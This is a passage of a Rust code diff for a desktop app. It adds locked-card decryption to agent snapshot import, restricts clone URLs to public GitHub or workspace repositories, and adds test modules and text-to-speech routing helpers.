"Snapshot file is too large ({} MiB). PNG snapshots must be under 10 MiB.", file_bytes.len() / (1024 * 1024) )); } - let mut snapshot = decode_snapshot_png(file_bytes)?; + let chunk_json = extract_chunk_payload_png(file_bytes)?; + let mut payload = parse_chunk_payload(&chunk_json)?; // The PNG image body is the portable avatar. It deliberately wins over - // manifest avatar fields, whose URL may only be reachable by the - // sender. A 1×1 export placeholder leaves the manifest fallback intact. - if let Some(avatar_data_url) = - crate::managed_agents::snapshot_avatar::snapshot_png_avatar_data_url(file_bytes)? - { - snapshot.profile.avatar_data_url = Some(avatar_data_url); + // a manifest avatar *URL*, which may only be reachable by the sender. + // A 1×1 export placeholder leaves the manifest fallback intact. + // Inline manifest avatar *bytes* are authoritative and never + // overridden: trading cards supply the generated card artwork as the + // PNG body and carry the agent's real avatar inline — adopting the + // body there would import the card as the agent's face. + // Locked envelopes stay opaque here — there is no manifest to override + // until the unlock path decrypts one. + if let ChunkPayload::Plain(snapshot) = &mut payload { + if snapshot.profile.avatar_data_url.is_none() { + if let Some(avatar_data_url) = + crate::managed_agents::snapshot_avatar::snapshot_png_avatar_data_url( + file_bytes, + )? + { + snapshot.profile.avatar_data_url = Some(avatar_data_url); + } + } } - if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() { - return Err( - "Snapshot is malformed: memory.level is 'none' but entries are present." - .to_string(), - ); + payload + } else { + // JSON path — apply size cap before serde allocation. + if file_bytes.len() > MAX_SNAPSHOT_JSON_BYTES { + return Err(format!( + "Snapshot file is too large ({} MiB). JSON snapshots must be under 5 MiB.", + file_bytes.len() / (1024 * 1024) + )); } - return Ok(snapshot); - } - // JSON path — apply size cap before serde allocation. - if file_bytes.len() > MAX_SNAPSHOT_JSON_BYTES { - return Err(format!( - "Snapshot file is too large ({} MiB). JSON snapshots must be under 5 MiB.", - file_bytes.len() / (1024 * 1024) - )); - } - let snapshot = decode_snapshot_json(file_bytes)?; + parse_chunk_payload(file_bytes)? + }; // Consistency check: none + non-empty entries is always malformed, - // regardless of format. Mirrors the PNG path above so the rule is - // enforced at decode time for both formats. - if !snapshot.memory.entries.is_empty() && snapshot.memory.level == MemoryLevel::None { + // regardless of enclosing format. Enforced at decode time for plain + // payloads here, and after decryption for locked ones (see + // `enforce_memory_consistency` callers). + if let ChunkPayload::Plain(snapshot) = &payload { + enforce_memory_consistency(snapshot)?; + } + Ok(payload) +} + +/// The shared malformed-memory guard: `memory.level == none` with non-empty +/// entries is always rejected before any write. +fn enforce_memory_consistency( + snapshot: &crate::managed_agents::agent_snapshot::AgentSnapshot, +) -> Result<(), String> { + if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() { return Err( "Snapshot is malformed: memory.level is 'none' but entries are present.".to_string(), ); } - Ok(snapshot) + Ok(()) +} + +/// Decode a plain snapshot from raw bytes, refusing locked cards. +/// +/// Test-only convenience: production call sites either unlock through +/// [`decode_snapshot_for_import`] or validate structurally through +/// [`parse_snapshot_payload_from_bytes`]. +#[cfg(test)] +pub(crate) fn decode_snapshot_from_bytes( + file_bytes: &[u8], +) -> Result { + match parse_snapshot_payload_from_bytes(file_bytes)? { + ChunkPayload::Plain(snapshot) => Ok(*snapshot), + ChunkPayload::Locked(_) => Err(LOCKED_CARD_REFUSAL.to_string()), + } +} + +/// Decode a snapshot for import, unlocking locked cards when — and only +/// when — this machine holds one of the envelope's two exact key endpoints +/// (the owner identity or the named local agent record). +/// +/// Returns the decoded manifest and whether it came from a locked envelope. +/// When neither endpoint exists, fails closed with the locked-card refusal — +/// never partial plaintext, never crypto details. +pub(crate) fn decode_snapshot_for_import( + file_bytes: &[u8], + owner_keys: Option<&nostr::Keys>, + records: &[ManagedAgentRecord], +) -> Result<(crate::managed_agents::agent_snapshot::AgentSnapshot, bool), String> { + match parse_snapshot_payload_from_bytes(file_bytes)? { + ChunkPayload::Plain(snapshot) => Ok((*snapshot, false)), + ChunkPayload::Locked(envelope) => { + let secret = resolve_unlock_secret(&envelope, owner_keys, records) + .ok_or_else(|| LOCKED_CARD_REFUSAL.to_string())?; + let snapshot = decrypt_envelope(&envelope, &secret)?; + enforce_memory_consistency(&snapshot)?; + Ok((snapshot, true)) + } + } } async fn materialize_import_avatar( @@ -283,19 +359,38 @@ where /// `.agent.png` file. The format is sniffed from the content, not the /// extension, so an incorrectly-named file is handled correctly. /// +/// Locked cards are unlocked here when this machine holds one of the +/// envelope's two exact key endpoints; a card that cannot be unlocked fails +/// with the locked-card refusal (shown directly to the user), never a +/// partial preview. Identity-recovery mode is tolerated: owner keys are +/// simply unavailable, so only the agent-record endpoint can unlock. +/// /// Returns an `AgentSnapshotImportPreview` or a descriptive error. Errors -/// represent irrecoverable failures (corrupt / unsupported file) and are -/// shown directly to the user. +/// represent irrecoverable failures (corrupt / unsupported / locked-to- +/// someone-else file) and are shown directly to the user. #[tauri::command] pub async fn preview_agent_snapshot_import( file_bytes: Vec, file_name: String, + app: AppHandle, + state: State<'_, AppState>, ) -> Result { + // Key material + records are gathered up front (cheap, lock-scoped) so + // the blocking decode below owns plain data. + let owner_keys = state.signing_keys().ok(); + let records = { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|e| e.to_string())?; + load_managed_agents(&app)? + }; tokio::task::spawn_blocking(move || { reject_legacy_persona_filename(&file_name)?; - let snapshot = decode_snapshot_from_bytes(&file_bytes)?; + let (snapshot, locked) = + decode_snapshot_for_import(&file_bytes, owner_keys.as_ref(), &records)?; - Ok(build_agent_snapshot_import_preview(&snapshot)) + build_agent_snapshot_import_preview(&snapshot, locked) }) .await .map_err(|e| format!("spawn_blocking failed: {e}"))? @@ -303,7 +398,8 @@ pub async fn preview_agent_snapshot_import( pub(crate) fn build_agent_snapshot_import_preview( snapshot: &AgentSnapshot, -) -> AgentSnapshotImportPreview { + locked: bool, +) -> Result { let memory_level = match snapshot.memory.level { MemoryLevel::None => "none", MemoryLevel::Core => "core", @@ -311,7 +407,11 @@ pub(crate) fn build_agent_snapshot_import_preview( } .to_string(); - AgentSnapshotImportPreview { + let manifest_json = serde_json::to_string_pretty(snapshot) + .map_err(|e| format!("failed to render snapshot manifest: {e}"))?; + let source_allowlist = snapshot.definition.respond_to_allowlist.clone(); + + Ok(AgentSnapshotImportPreview { display_name: snapshot.profile.display_name.clone(), is_builtin: snapshot.definition.source_is_builtin, model: snapshot.definition.model.clone(), @@ -325,9 +425,12 @@ pub(crate) fn build_agent_snapshot_import_preview( .or_else(|| snapshot.profile.avatar_url.clone()), memory_level, memory_entry_count: snapshot.memory.entries.len(), - source_allowlist_count: snapshot.definition.respond_to_allowlist.len(), - has_source_allowlist: !snapshot.definition.respond_to_allowlist.is_empty(), - } + source_allowlist_count: source_allowlist.len(), + has_source_allowlist: !source_allowlist.is_empty(), + source_allowlist, + manifest_json, + locked, + }) } // ── `confirm_agent_snapshot_import` ────────────────────────────────────────── @@ -355,8 +458,20 @@ pub async fn confirm_agent_snapshot_import( app: AppHandle, state: State<'_, AppState>, ) -> Result { - // ── Phase 1: validate (no I/O) ─────────────────────────────────────────── - let snapshot = decode_snapshot_from_bytes(&input.file_bytes)?; + // ── Phase 1: validate (no writes) ──────────────────────────────────────── + // Locked cards unlock only via this machine's exact key endpoints; + // anything else fails closed here, before key generation. + let snapshot = { + let owner_keys = state.signing_keys().ok(); + let records = { + let _store_guard = state + .managed_agents_store_lock + .lock() + .map_err(|e| e.to_string())?; + load_managed_agents(&app)? + }; + decode_snapshot_for_import(&input.file_bytes, owner_keys.as_ref(), &records)?.0 + }; let display_name = snapshot.profile.display_name.trim().to_string(); if display_name.is_empty() { diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests.rs index 4289310280..c453b09a9d 100644 --- a/desktop/src-tauri/src/commands/personas/snapshot/tests.rs +++ b/desktop/src-tauri/src/commands/personas/snapshot/tests.rs @@ -564,7 +564,7 @@ fn import_preview_includes_exported_definition_metadata() { let bytes = crate::managed_agents::agent_snapshot::encode_snapshot_json(&snapshot).unwrap(); let decoded = decode_snapshot_from_bytes(&bytes).unwrap(); - let preview = build_agent_snapshot_import_preview(&decoded); + let preview = build_agent_snapshot_import_preview(&decoded, false).unwrap(); assert!(preview.is_builtin); assert_eq!(preview.model.as_deref(), Some("claude-opus-4-5")); @@ -949,51 +949,14 @@ fn test_parse_format_is_png_invalid_returns_error() { } // ── Export: validate_snapshot_encode_size ──────────────────────────────────── -// -// Tests call `validate_snapshot_encode_size` directly so they prove the exact -// production guard — not a manual reconstruction. Removing or reversing the -// check in production code will cause these tests to fail. -/// JSON: boundary-1 passes, boundary is the last legal byte count. -#[test] -fn validate_encode_size_json_at_boundary_minus_1_passes() { - assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES - 1, false).is_ok()); -} +#[path = "tests_memory_entries.rs"] +mod memory_entries; -/// JSON: exactly at the boundary is the last accepted size. -#[test] -fn validate_encode_size_json_at_boundary_passes() { - assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES, false).is_ok()); -} +#[path = "tests_encode_size.rs"] +mod encode_size; -/// JSON: boundary+1 is rejected. -#[test] -fn validate_encode_size_json_over_boundary_is_rejected() { - let err = super::validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES + 1, false).unwrap_err(); - assert!( - err.contains("size limit"), - "error must mention size limit, got: {err}" - ); -} +// ── Import: decode_snapshot_for_import (locked cards) ───────────────────── -/// PNG: boundary-1 passes. -#[test] -fn validate_encode_size_png_at_boundary_minus_1_passes() { - assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES - 1, true).is_ok()); -} - -/// PNG: exactly at the boundary passes. -#[test] -fn validate_encode_size_png_at_boundary_passes() { - assert!(super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES, true).is_ok()); -} - -/// PNG: boundary+1 is rejected. -#[test] -fn validate_encode_size_png_over_boundary_is_rejected() { - let err = super::validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES + 1, true).unwrap_err(); - assert!( - err.contains("size limit"), - "error must mention size limit, got: {err}" - ); -} +#[path = "tests_locked.rs"] +mod locked_import; diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs new file mode 100644 index 0000000000..36eaa99716 --- /dev/null +++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_encode_size.rs @@ -0,0 +1,55 @@ +//! Export-size guard tests for `validate_snapshot_encode_size`. +//! +//! Kept in a sibling file so `snapshot/tests.rs` stays under the +//! 1000-line gate; `#[path]`-included from there as a child module, +//! so `super::*` still resolves to the shared test imports. +//! +//! Tests call `validate_snapshot_encode_size` directly so they prove the +//! exact production guard — not a manual reconstruction. Removing or +//! reversing the check in production code will cause these tests to fail. + +use super::*; + +/// JSON: boundary-1 passes, boundary is the last legal byte count. +#[test] +fn validate_encode_size_json_at_boundary_minus_1_passes() { + assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES - 1, false).is_ok()); +} + +/// JSON: exactly at the boundary is the last accepted size. +#[test] +fn validate_encode_size_json_at_boundary_passes() { + assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES, false).is_ok()); +} + +/// JSON: boundary+1 is rejected. +#[test] +fn validate_encode_size_json_over_boundary_is_rejected() { + let err = validate_snapshot_encode_size(MAX_SNAPSHOT_JSON_BYTES + 1, false).unwrap_err(); + assert!( + err.contains("size limit"), + "error must mention size limit, got: {err}" + ); +} + +/// PNG: boundary-1 passes. +#[test] +fn validate_encode_size_png_at_boundary_minus_1_passes() { + assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES - 1, true).is_ok()); +} + +/// PNG: exactly at the boundary passes. +#[test] +fn validate_encode_size_png_at_boundary_passes() { + assert!(validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES, true).is_ok()); +} + +/// PNG: boundary+1 is rejected. +#[test] +fn validate_encode_size_png_over_boundary_is_rejected() { + let err = validate_snapshot_encode_size(MAX_SNAPSHOT_PNG_BYTES + 1, true).unwrap_err(); + assert!( + err.contains("size limit"), + "error must mention size limit, got: {err}" + ); +} diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs new file mode 100644 index 0000000000..296444f78d --- /dev/null +++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_locked.rs @@ -0,0 +1,129 @@ +//! Locked-card import tests for `decode_snapshot_for_import`. +//! +//! Kept in a sibling file so `snapshot/tests.rs` stays under the +//! 1000-line gate; `#[path]`-included from there as a child module, +//! so `super::*` still resolves to the shared test helpers. + +use super::*; +use crate::commands::personas::snapshot::import::{ + decode_snapshot_for_import, parse_snapshot_payload_from_bytes, +}; +use crate::managed_agents::agent_snapshot_envelope::{ + encode_locked_snapshot_png, encrypt_snapshot_envelope, ChunkPayload, LOCKED_CARD_REFUSAL, +}; + +/// Build a keyed instance record holding real key material, so the +/// agent-endpoint unlock path resolves exactly as production does. +fn record_for(agent: &nostr::Keys) -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: agent.public_key().to_hex(), + slug: None, + persona_id: Some("locked-test".to_string()), + private_key_nsec: nostr::ToBech32::to_bech32(agent.secret_key()).unwrap(), + ..make_definition("") + } +} + +fn locked_png(owner: &nostr::Keys, agent: &nostr::Keys) -> (AgentSnapshot, Vec) { + let snapshot = make_snapshot(MemoryLevel::None, vec![]); + let png = encode_locked_snapshot_png(&snapshot, owner, &agent.public_key(), None).unwrap(); + (snapshot, png) +} + +/// Owner identity key unlocks a locked card; `locked` is reported true. +#[test] +fn owner_endpoint_unlocks_locked_png() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let (snapshot, png) = locked_png(&owner, &agent); + let (decoded, locked) = decode_snapshot_for_import(&png, Some(&owner), &[]).unwrap(); + assert_eq!(decoded, snapshot); + assert!(locked); +} + +/// A local managed-agent record holding the agent nsec unlocks the card +/// even when the owner identity does not match (e.g. re-import on the +/// agent's own machine under a different owner identity). +#[test] +fn agent_record_endpoint_unlocks_locked_png() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let (snapshot, png) = locked_png(&owner, &agent); + let other_identity = nostr::Keys::generate(); + let records = vec![record_for(&agent)]; + let (decoded, locked) = + decode_snapshot_for_import(&png, Some(&other_identity), &records).unwrap(); + assert_eq!(decoded, snapshot); + assert!(locked); +} + +/// No matching endpoint → only the locked-card refusal, nothing else. +#[test] +fn stranger_fails_closed_with_refusal_only() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let (_snapshot, png) = locked_png(&owner, &agent); + let stranger = nostr::Keys::generate(); + let unrelated_record = record_for(&nostr::Keys::generate()); + let err = decode_snapshot_for_import(&png, Some(&stranger), &[unrelated_record]).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); + // And with no key material at all. + let err = decode_snapshot_for_import(&png, None, &[]).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); +} + +/// Plain snapshots pass through unchanged with `locked == false`, with or +/// without key material in scope. +#[test] +fn plain_snapshot_passes_through_unlocked() { + use crate::managed_agents::agent_snapshot::encode_snapshot_png; + let snapshot = make_snapshot(MemoryLevel::None, vec![]); + let png = encode_snapshot_png(&snapshot, None).unwrap(); + let owner = nostr::Keys::generate(); + let (decoded, locked) = decode_snapshot_for_import(&png, Some(&owner), &[]).unwrap(); + assert_eq!(decoded, snapshot); + assert!(!locked); + let (decoded, locked) = decode_snapshot_for_import(&png, None, &[]).unwrap(); + assert_eq!(decoded, snapshot); + assert!(!locked); +} + +/// The memory-consistency guard fires AFTER decryption too: a locked +/// envelope whose plaintext declares level none + non-empty entries is +/// rejected even for a legitimate endpoint. +#[test] +fn decrypted_manifest_memory_consistency_enforced() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let malformed = make_snapshot( + MemoryLevel::None, + vec![AgentSnapshotMemoryEntry { + slug: "core".to_string(), + body: "leaked".to_string(), + }], + ); + // encrypt_snapshot_envelope does not guard memory consistency (the + // PNG encoder does), so this constructs the malicious payload. + let envelope = encrypt_snapshot_envelope(&malformed, &owner, &agent.public_key()).unwrap(); + let json = serde_json::to_vec(&envelope).unwrap(); + let err = decode_snapshot_for_import(&json, Some(&owner), &[]).unwrap_err(); + assert!( + err.contains("'none' but entries are present"), + "post-decrypt consistency guard must fire, got: {err}" + ); +} + +/// Transit validation (`fetch_snapshot_bytes` path) accepts a locked PNG +/// without any key material — structural validation only, no decryption. +#[test] +fn transit_validation_accepts_locked_png_without_keys() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let (_snapshot, png) = locked_png(&owner, &agent); + let payload = parse_snapshot_payload_from_bytes(&png).unwrap(); + assert!(matches!(payload, ChunkPayload::Locked(_))); +} + +/// The keyless plain decoder refuses locked cards with the refusal. +#[test] +fn plain_decoder_refuses_locked_cards() { + let (owner, agent) = (nostr::Keys::generate(), nostr::Keys::generate()); + let (_snapshot, png) = locked_png(&owner, &agent); + let err = decode_snapshot_from_bytes(&png).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); +} diff --git a/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs b/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs new file mode 100644 index 0000000000..b17efa1ad1 --- /dev/null +++ b/desktop/src-tauri/src/commands/personas/snapshot/tests_memory_entries.rs @@ -0,0 +1,55 @@ +//! Tests for `memory_entries_from_listing` — the shared level → entries +//! selection used by both snapshot export and card minting. Split from +//! `tests.rs` to keep that file under the 1000-line gate; `#[path]`-included +//! from there as a child module, so `super::*` resolves to `tests`'s parent +//! scope re-exports. + +use super::*; + +fn listing_fixture() -> crate::commands::engrams::AgentMemoryListing { + let entry = |slug: &str, body: &str| crate::commands::engrams::EngramEntry { + slug: slug.to_string(), + body: body.to_string(), + event_id: "e".repeat(64), + created_at: 1, + outgoing_refs: vec![], + }; + crate::commands::engrams::AgentMemoryListing { + core: Some(entry("core", "core body")), + memories: vec![entry("mem/a", "a body"), entry("mem/b", "b body")], + truncated: false, + fetched_at: 1, + } +} + +#[test] +fn memory_entries_core_takes_core_only() { + let entries = memory_entries_from_listing(listing_fixture(), MemoryLevel::Core); + assert_eq!(entries.len(), 1); + assert_eq!(entries[0].slug, "core"); + assert_eq!(entries[0].body, "core body"); +} + +#[test] +fn memory_entries_everything_appends_mem_entries_after_core() { + let entries = memory_entries_from_listing(listing_fixture(), MemoryLevel::Everything); + assert_eq!( + entries.iter().map(|e| e.slug.as_str()).collect::>(), + vec!["core", "mem/a", "mem/b"] + ); +} + +#[test] +fn memory_entries_missing_core_still_yields_mem_entries_for_everything() { + let mut listing = listing_fixture(); + listing.core = None; + let entries = memory_entries_from_listing(listing, MemoryLevel::Everything); + assert_eq!( + entries.iter().map(|e| e.slug.as_str()).collect::>(), + vec!["mem/a", "mem/b"] + ); + + let mut core_only = listing_fixture(); + core_only.core = None; + assert!(memory_entries_from_listing(core_only, MemoryLevel::Core).is_empty()); +} diff --git a/desktop/src-tauri/src/commands/project_git_exec.rs b/desktop/src-tauri/src/commands/project_git_exec.rs index e4a8ad7b41..c616d39db1 100644 --- a/desktop/src-tauri/src/commands/project_git_exec.rs +++ b/desktop/src-tauri/src/commands/project_git_exec.rs @@ -203,6 +203,22 @@ pub(crate) fn build_git_auth_config(state: &AppState) -> Result Result { + if validate_github_clone_url(clone_url).is_ok() { + return Ok(GitAuthConfig { + git_path: resolve_command("git") + .ok_or_else(|| "git was not found on PATH".to_string())?, + credential_helper: None, + nsec: String::new(), + allow_file_transport: false, + }); + } + build_git_auth_config(state) +} + pub(crate) fn build_git_auth_config_for_keys(keys: &Keys) -> Result { let git_path = resolve_command("git").ok_or_else(|| "git was not found on PATH".to_string())?; let credential_helper = resolve_command("git-credential-nostr"); @@ -288,6 +304,56 @@ pub(crate) fn validate_clone_url(clone_url: &str) -> Result<(), String> { Ok(()) } +fn validate_github_clone_url(clone_url: &str) -> Result<(), String> { + let parsed = Url::parse(clone_url).map_err(|error| format!("invalid clone URL: {error}"))?; + if parsed.scheme() != "https" + || parsed.host_str() != Some("github.com") + || parsed.port().is_some() + || !parsed.username().is_empty() + || parsed.password().is_some() + || parsed.query().is_some() + || parsed.fragment().is_some() + { + return Err("GitHub clone URL must use public https://github.com/owner/repository".into()); + } + let segments = parsed + .path_segments() + .map(|segments| { + segments + .filter(|segment| !segment.is_empty()) + .collect::>() + }) + .unwrap_or_default(); + let valid_segment = |segment: &&str| { + !segment.starts_with('-') + && !segment.contains("..") + && segment.chars().all(|character| { + character.is_ascii_alphanumeric() || matches!(character, '.' | '_' | '-') + }) + }; + if segments.len() != 2 || !segments.iter().all(valid_segment) { + return Err("GitHub clone URL must name one owner and repository".into()); + } + Ok(()) +} + +pub(crate) fn validate_local_clone_url(clone_url: &str) -> Result<(), String> { + if validate_clone_url(clone_url).is_ok() || validate_github_clone_url(clone_url).is_ok() { + return Ok(()); + } + Err("clone URL must point at a Buzz repository or public GitHub repository".into()) +} + +pub(crate) fn validate_local_clone_url_for_workspace( + clone_url: &str, + state: &AppState, +) -> Result<(), String> { + if validate_github_clone_url(clone_url).is_ok() { + return Ok(()); + } + validate_workspace_clone_url(clone_url, state) +} + pub(crate) fn clone_url_owner(clone_url: &str) -> Option { let parsed = Url::parse(clone_url).ok()?; let segments = parsed @@ -329,6 +395,7 @@ mod tests { use super::{ clean_branch, clean_target_ref, credential_helper_config_value, git_needs_credentials, git_subcommand, validate_clone_url, validate_clone_url_against_relay, + validate_local_clone_url, }; #[test] @@ -441,4 +508,15 @@ mod tests { ) .is_err()); } + + #[test] + fn local_clone_url_allows_only_public_github_https_urls() { + assert!(validate_local_clone_url("https://github.com/block/buzz").is_ok()); + assert!(validate_local_clone_url("https://github.com/block/buzz.git").is_ok()); + assert!(validate_local_clone_url("http://github.com/block/buzz").is_err()); + assert!(validate_local_clone_url("https://github.com/block/buzz/issues").is_err()); + assert!(validate_local_clone_url("https://user@github.com/block/buzz").is_err()); + assert!(validate_local_clone_url("https://github.com.evil.test/block/buzz").is_err()); + assert!(validate_local_clone_url("https://gitlab.com/block/buzz").is_err()); + } } diff --git a/desktop/src-tauri/src/commands/project_git_workflow.rs b/desktop/src-tauri/src/commands/project_git_workflow.rs index 624bbf4dfc..9e06852762 100644 --- a/desktop/src-tauri/src/commands/project_git_workflow.rs +++ b/desktop/src-tauri/src/commands/project_git_workflow.rs @@ -3,8 +3,9 @@ use super::project_git::{first_output_line, normalize_branch_option}; use super::project_git_diff::clean_commit; use super::project_git_exec::{ - build_git_auth_config, build_git_auth_config_for_keys, clone_url_owner, run_git, - validate_clone_url, validate_workspace_clone_url, GitAuthConfig, + build_git_auth_config_for_keys, build_git_clone_auth_config, clone_url_owner, run_git, + validate_local_clone_url, validate_local_clone_url_for_workspace, validate_workspace_clone_url, + GitAuthConfig, }; use super::project_repo_paths::{ canonical_repos_roots, canonicalize_repos_root, default_repos_root_candidates, @@ -353,7 +354,7 @@ pub(crate) fn clone_project_repository_blocking( default_branch: Option<&str>, auth: &GitAuthConfig, ) -> Result { - validate_clone_url(clone_url)?; + validate_local_clone_url(clone_url)?; let branch = normalize_branch_option(default_branch); if let Some(repo_dir) = find_local_repo_dir(repos_dir, project_dtag, Some(clone_url))? { return Ok(ProjectRepoCloneResult { @@ -411,8 +412,8 @@ pub async fn clone_project_repository( default_branch: Option, state: State<'_, AppState>, ) -> Result { - validate_workspace_clone_url(&clone_url, &state)?; - let auth = build_git_auth_config(&state)?; + validate_local_clone_url_for_workspace(&clone_url, &state)?; + let auth = build_git_clone_auth_config(&clone_url, &state)?; tauri::async_runtime::spawn_blocking(move || { clone_project_repository_blocking( repos_dir.as_deref(), diff --git a/desktop/src-tauri/src/commands/project_terminal.rs b/desktop/src-tauri/src/commands/project_terminal.rs index 31dbc74c6d..c583dd0db5 100644 --- a/desktop/src-tauri/src/commands/project_terminal.rs +++ b/desktop/src-tauri/src/commands/project_terminal.rs @@ -9,7 +9,10 @@ use crate::app_state::AppState; use super::project_git::{first_output_line, normalize_branch_option}; use super::project_git_diff::clean_commit; -use super::project_git_exec::{build_git_auth_config, run_git, validate_workspace_clone_url}; +use super::project_git_exec::{ + build_git_auth_config, build_git_clone_auth_config, run_git, + validate_local_clone_url_for_workspace, validate_workspace_clone_url, +}; use super::project_git_workflow::clone_project_repository_blocking; use super::project_repo_paths::find_local_repo_dir; @@ -99,9 +102,8 @@ fn launch_terminal_at(path: &std::path::Path) -> Result<(), String> { } /// Opens the OS terminal at the project's local checkout. When there is no -/// local checkout yet, clones the repository from `clone_url` (authenticated -/// with the identity key, same as push/snapshot) into the repos dir first, -/// then opens the terminal at the fresh checkout. +/// local checkout yet, clones the repository from `clone_url` into the repos +/// dir first, then opens the terminal at the fresh checkout. #[tauri::command] pub async fn open_project_terminal( repos_dir: Option, @@ -111,11 +113,16 @@ pub async fn open_project_terminal( state: State<'_, AppState>, ) -> Result { if let Some(clone_url) = clone_url.as_deref() { - validate_workspace_clone_url(clone_url, &state)?; + validate_local_clone_url_for_workspace(clone_url, &state)?; } - // Auth is only needed for the clone path — keep the result outside the - // blocking task so it owns no borrowed Tauri state. - let auth = build_git_auth_config(&state); + // Public GitHub clones stay anonymous; Buzz remotes use the workspace + // identity. Keep the result outside the blocking task so it borrows no + // Tauri state. + let auth = if let Some(clone_url) = clone_url.as_deref() { + build_git_clone_auth_config(clone_url, &state) + } else { + build_git_auth_config(&state) + }; tauri::async_runtime::spawn_blocking(move || { // An inaccessible repos root (fresh machine, nothing cloned yet) is // not fatal here — the clone path below creates the default root. A diff --git a/desktop/src-tauri/src/commands/relay_members.rs b/desktop/src-tauri/src/commands/relay_members.rs index a9230dff95..9ccf8baac0 100644 --- a/desktop/src-tauri/src/commands/relay_members.rs +++ b/desktop/src-tauri/src/commands/relay_members.rs @@ -17,8 +17,15 @@ struct RelayInformationDocument { } #[tauri::command] -pub async fn relay_requires_membership(state: State<'_, AppState>) -> Result { - let url = format!("{}/info", relay_api_base_url_with_override(&state)); +pub async fn relay_requires_membership( + relay_url: Option, + state: State<'_, AppState>, +) -> Result { + let base_url = relay_url + .as_deref() + .map(crate::relay::relay_http_base_url) + .unwrap_or_else(|| relay_api_base_url_with_override(&state)); + let url = format!("{}/info", base_url.trim_end_matches('/')); let response = state .http_client .get(url) diff --git a/desktop/src-tauri/src/commands/workspace.rs b/desktop/src-tauri/src/commands/workspace.rs index 731a99d9d9..aa88bfe39a 100644 --- a/desktop/src-tauri/src/commands/workspace.rs +++ b/desktop/src-tauri/src/commands/workspace.rs @@ -212,6 +212,8 @@ pub async fn apply_workspace( .map_err(|e| format!("spawn_blocking failed: {e}"))??; let state = restore_app.state::(); + super::agents::provider_access::reconcile_on_workspace_apply(&restore_app, &state).await?; + // Backfill this exact relay+owner scope only after the workspace has been // applied. Running at process boot would target the fallback relay and // collapse every community into one pending-event store. diff --git a/desktop/src-tauri/src/huddle/agent_tts_routing.rs b/desktop/src-tauri/src/huddle/agent_tts_routing.rs new file mode 100644 index 0000000000..2ee3ec0d41 --- /dev/null +++ b/desktop/src-tauri/src/huddle/agent_tts_routing.rs @@ -0,0 +1,56 @@ +use super::HuddlePhase; + +#[derive(Debug, PartialEq, Eq)] +pub(super) enum AgentTtsRuntimeGate { + Disabled, + Inactive, + NeedsPipeline, + Ready, +} + +pub(super) fn classify_agent_tts_runtime( + enabled: bool, + phase: &HuddlePhase, + has_pipeline: bool, +) -> AgentTtsRuntimeGate { + if !enabled { + AgentTtsRuntimeGate::Disabled + } else if !matches!(phase, HuddlePhase::Connected | HuddlePhase::Active) { + AgentTtsRuntimeGate::Inactive + } else if has_pipeline { + AgentTtsRuntimeGate::Ready + } else { + AgentTtsRuntimeGate::NeedsPipeline + } +} + +/// Maximum text length accepted for TTS synthesis. +/// ~2000 chars is 1–2 minutes of speech. Longer messages are truncated. +pub(super) const MAX_TTS_TEXT_LEN: usize = 2000; + +pub(super) fn normalize_agent_tts_text(text: String) -> String { + if text.chars().count() > MAX_TTS_TEXT_LEN { + let mut truncated: String = text.chars().take(MAX_TTS_TEXT_LEN).collect(); + truncated.push_str("... message truncated."); + truncated + } else { + text + } +} + +pub(super) async fn enqueue_agent_tts_text( + route_id: u64, + text: String, + enqueue: F, +) -> Result<(), String> +where + F: FnOnce(u64, String) -> Result<(), String> + Send + 'static, +{ + tokio::task::spawn_blocking(move || enqueue(route_id, text)) + .await + .map_err(|error| format!("TTS enqueue task failed: {error}"))? +} + +#[cfg(test)] +#[path = "agent_tts_routing_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs b/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs new file mode 100644 index 0000000000..cb550d7005 --- /dev/null +++ b/desktop/src-tauri/src/huddle/agent_tts_routing_tests.rs @@ -0,0 +1,57 @@ +use super::{ + classify_agent_tts_runtime, enqueue_agent_tts_text, normalize_agent_tts_text, + AgentTtsRuntimeGate, MAX_TTS_TEXT_LEN, +}; +use crate::huddle::HuddlePhase; + +#[tokio::test] +async fn assistant_plain_text_routes_unchanged_into_voice_pipeline_boundary() { + let (sender, receiver) = std::sync::mpsc::channel(); + let text = "A newly submitted assistant reply.".to_string(); + let route_id = 42; + + enqueue_agent_tts_text(route_id, text.clone(), move |route_id, queued| { + sender + .send((route_id, queued)) + .map_err(|error| error.to_string()) + }) + .await + .expect("route assistant text"); + + assert_eq!( + 